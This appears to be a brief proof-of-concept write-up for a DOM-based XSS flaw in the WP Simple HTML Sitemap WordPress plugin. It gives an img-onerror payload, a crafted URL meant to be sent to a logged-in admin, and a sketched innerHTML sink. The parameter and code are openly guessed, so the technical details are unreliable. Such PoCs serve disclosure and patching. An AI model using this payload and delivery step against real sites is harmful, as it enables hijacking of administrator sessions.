CVE-2026-39654 WP Simple HTML Sitemap插件DOM型XSS漏洞

// Proof of Concept for CVE-2026-39654 // Vulnerability: DOM-Based XSS in WP Simple HTML Sitemap <= 3.8 // Description: // The plugin fails to sanitize user input before using it in a sink like innerHTML. // Step 1: Craft a malicious URL. // Assuming the vulnerable parameter is 'search' or similar reflected in the DOM. // Payload: <img src=x onerror=alert('CVE-2026-39654')> // Step 2: Send the link to a logged-in admin. // URL: http://target-site.com/?search=<img src=x onerror=alert(1)> // Step 3: The vulnerable script might look like this: /* var param = new URLSearchParams(window.location.search).get('search'); document.getElementById('output').innerHTML = param; // Vulnerable sink */ // Result: The alert box executes in the victim's browser context.